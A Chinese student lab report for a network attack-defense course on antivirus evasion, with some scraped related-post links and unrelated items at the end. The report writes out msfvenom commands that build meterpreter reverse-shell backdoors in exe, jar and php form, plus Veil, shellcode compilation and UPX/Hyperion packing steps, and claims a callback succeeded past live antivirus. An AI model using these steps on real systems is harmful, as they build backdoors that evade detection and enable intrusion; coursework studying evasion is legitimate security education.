2018-2019-2 网络对抗技术 20165320 Exp3 免杀原理与实践
### 2018-2019-2 网络对抗技术 20165320 Exp3 免杀原理与实践
一、实验内容
1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcode编程(1分)
1.2 通过组合应用各种技术实现恶意代码免杀(0.5分)
1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5)
二、报告内容
2.1 基础问题问答
杀软是如何检测出恶意代码的?
答:主要包括三个方面:
基于特征码的检测:特征码就是一段或多端数据,如果一个可执行文件(或者运行的库、脚本等)包含这样的数据就会被认为是恶意代码
启发式恶意软件检测:如果一个软件在干通是常恶意软件干的事,看起来就像个恶意软件,那么就把它当作一个恶意软件吧(偷笑.jpg)
基于行为的恶意软件检测:属于启发式的一种,加入了行为监控
免杀是做什么?
答:通过修改恶意软件或恶意代码让其能够不被杀毒软件检测出来。
免杀的基本方法有哪些?
答:总体技术有如下:
改变特征码:如果有exe文件,就对它进行加壳(压缩、加密)、如果有shellcode,就用encode进行编码,基于playload重新编译生成可执行文件、如果有源代码,用其它语言进行重写再编译
改变行为:通讯方式方面尽量使用反弹连接、隧道技术、通讯数据加密,操作模式方面最好基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码
非常规的办法:使用一个有漏洞的应用当成后门,社会工程学(无敌)、纯手工打造一个恶意软件
开启杀软能绝对防止电脑中恶意代码吗?
答:通过这次实验,很明显知道这是不可能的事情
2.2 实验过程
一、正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcode编程(1分)
正确使用msf编码器
这里我和其它同学一样,使用实验二中msf生成的简单后门程序放到virscan网站中进行扫描(文件名还不能开头为数字),发现这个未经处理的后门不堪重任。

使用360卫士对它进行扫描:

然后按照老师上课时的步骤,对这个文件进行多次编码,使用到的指令如下:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.1.123 LPORT=5320 -f exe > coded10.exe
拿新生成的文件去验一下货,结果是一顿操作猛如虎,一看战绩0杠5,花里胡哨罢了,并没有什么卵用

拿360卫士对它进行扫描

msfvenom生成如jar之类的其他文件
- 首先使用msf试着生成一个.jar类型的文件,指令如下:
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.1.123 lport=5320 x> 20165320_backdoor_java.jar

- 出乎意料的是,.jar文件,只有六款杀软能杀出来,简直不敢相信

- 拿360卫士对它进行扫描

- 然后用msf试着生成一个.php类型的文件,指令如下:
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.123 lport=443 x> backdoor5320.php

- 然后将它放入virscan进行扫描,发现仅仅只有2%的概率被AV检测到,而且这两款都是需要付费的国外软件

- 当然,360也肯定扫不出来

- 使用msf生成其它类型的后门相关命令可以参考网上相关博客:通过Metasploit生成各种后门
- 首先使用msf试着生成一个.jar类型的文件,指令如下:
veil-evasion生成后门程序及检测
PS:我觉得整个实验最难的部分就是veil的安装了,调试了一个晚上也没能成功,不是安装Python3.4的时候出错,就是卡在展开对象的位置,最后还是拷了同学的虚拟机,总而言之,装东西还是随缘
安装后(拷完虚拟机后),命令行中输入
veil进入控制界面
输入
use evasion进入evasion
输入
use c/meterpreter/rev_tcp.py开始对后门程序设置相关的参数
然后设置反弹回连的IP、端口号

设置完参数之后输入
generate生成后门程序
拿veil生成的文件放到virscan进行扫描测试:

用360对它进行扫描,表示很无辜的被发现了

半手工注入Shellcode并执行
重新回到原来的Kali虚拟机,在命令行中输入命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.123 LPORT=5320 -f c用c语言生成一段shellcode
vim一个如下的.c文件

使用命令
i686-w64-mingw32-g++ bcak20165320.c -o back20165320.exe生成一个可执行文件
将该文件拷到virscan网站上进行扫描

将该文件用360进行扫描,出乎意料地发现这么简单的操作360居然发现不了

虽然360扫描的时候没发现问题,执行的时候还是被抓住了

执行加壳操作
对刚刚生成的半手工shellcode程序加上一个压缩壳,使用指令
upx 源文件 -o 目标文件
放入virscan文件中检测一下

执行的时候360直接发现

尝试对半手工shellcode程序加上一个加密壳,将上例的文件放入到
/usr/share/windows-binaries/hyperion/目录,进入该目录,使用命令wine hyperion.exe -v 源文件 目标文件

添加加密壳的文件还是不能通过virscan网站的检测,也不能通过360的扫描

实现免杀
有两种方法:一种是通过将veil生成的文件进行加壳操作、还有一种是通过将shellcode放入本机的C语言编译器,进行编译运行(通过参考大佬们的博客发现的,而且,很有可能过一两天就不行了,供上一张截图)

用另一台电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
- 还是按照上面免杀的方法,将我生成的一段shellcode,发送给我的好室友,我的好室友使用VC编译运行,在杀软运行的情况下,回连成功,截图与杀软版本号如下:


心得体会
- 这一次的实验让我明白了杀软并没有什么卵用,它能够进行扫描查杀病毒的基础是病毒库,所以只要你能够拿到在它的病毒库里没有记录过的后门程序或者软件,那么就很容易对运行杀软的主机进行攻击,所以以后在使用电脑的过程中,就算装了杀软,也要注意上网过程不要下载一些不安全的软件。还有就是,不同的杀软,扫描查杀病毒的能力也参差不齐,360作为老牌杀软,能力还是不错的,虽然比起国外的付费软件,差距还是有点大,但和国内的相比,还是优势很明显,总而言之,网络攻防,有攻才有防,只要你能想出新的战术,就能破解敌方落后的防御工事。
2018-2019-2 网络对抗技术 20165320 Exp3 免杀原理与实践的更多相关文章
- 2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践
2018-2019-2 20165315 <网络对抗技术>Exp3 免杀原理与实践 一.实验内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion ...
- 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...
- 2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...
- 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...
- 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...
- 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...
- 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践
2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...
随机推荐
- Json Self referencing loop detected
Self referencing loop detected......的错误 解决方案: 1 增加 [JsonIgnore] 过滤关联,使其不参与序列化. 这个方法简单粗暴.但是你就没办法获取关 ...
- UOJ#192. 【UR #14】最强跳蚤
题目链接 http://uoj.ac/problem/192 暑期课第二天 树上问题进阶 具体内容看笔记博客吧 题意 n个节点的树T 边有边权w 求满足(u, v)上所有边权乘积为完全平方数的路径有多 ...
- Java编程,打印昨天的当前时刻
public class Demo { /* * Java编程,打印昨天的当前时刻 */ public static void main(String[] args){ Calendar ca ...
- 【BZOJ1820】[JSOI2010]快递服务(动态规划)
[BZOJ1820][JSOI2010]快递服务(动态规划) 题面 BZOJ 洛谷 题解 考虑无脑四维\(dp\).\(f[i][a][b][c]\),表示当前处理到第\(i\)个任务,三辆车的位置分 ...
- 使用FreeRTOS在SD卡驱动使用非系统延时导致上电重启不工作的情况
一.问题描述在一个使用FreeRTOS的工程中,只做了SD卡的驱动,由于RTOS使用了Systick,故非系统延时函数使用的是 DWT中的时钟周期(CYCCNT)计数功能,但是在SD卡驱动中使用了这个 ...
- 洛谷 P2746 [USACO5.3]校园网Network of Schools 解题报告
P2746 [USACO5.3]校园网Network of Schools 题目描述 一些学校连入一个电脑网络.那些学校已订立了协议:每个学校都会给其它的一些学校分发软件(称作"接受学校&q ...
- GO调度模型的缺点
记一次latency问题排查:谈Go的公平调度的缺陷 http://baijiahao.baidu.com/s?id=1587897390639953806&wfr=spider&fo ...
- 由asp的一个错误,看语言的不同:asp & java
今天查看网页源代码,无意发现源代码尾部抛出asp的错误信息,但没有显示在网页上. 如果没查看源代码,还没发现asp运行代码出错了. 大致情况是这样,在asp中,有一个变量来表示用户当前使用的容量,注意 ...
- ref实现输入框聚焦
关于ref我们是怎么理解的呢? 我们可以通过React.createRef()创建一个 ref节点,并将其打印出来. 代码如下: import React,{Component} from 'reac ...
- Spring Boot Actuator的端点
Spring Boot Actuator的关键特性是在应用程序里提供众多Web端点,通过它们了解应用程序 运行时的内部状况.有了Actuator,你可以知道Bean在Spring应用程序上下文里是如何 ...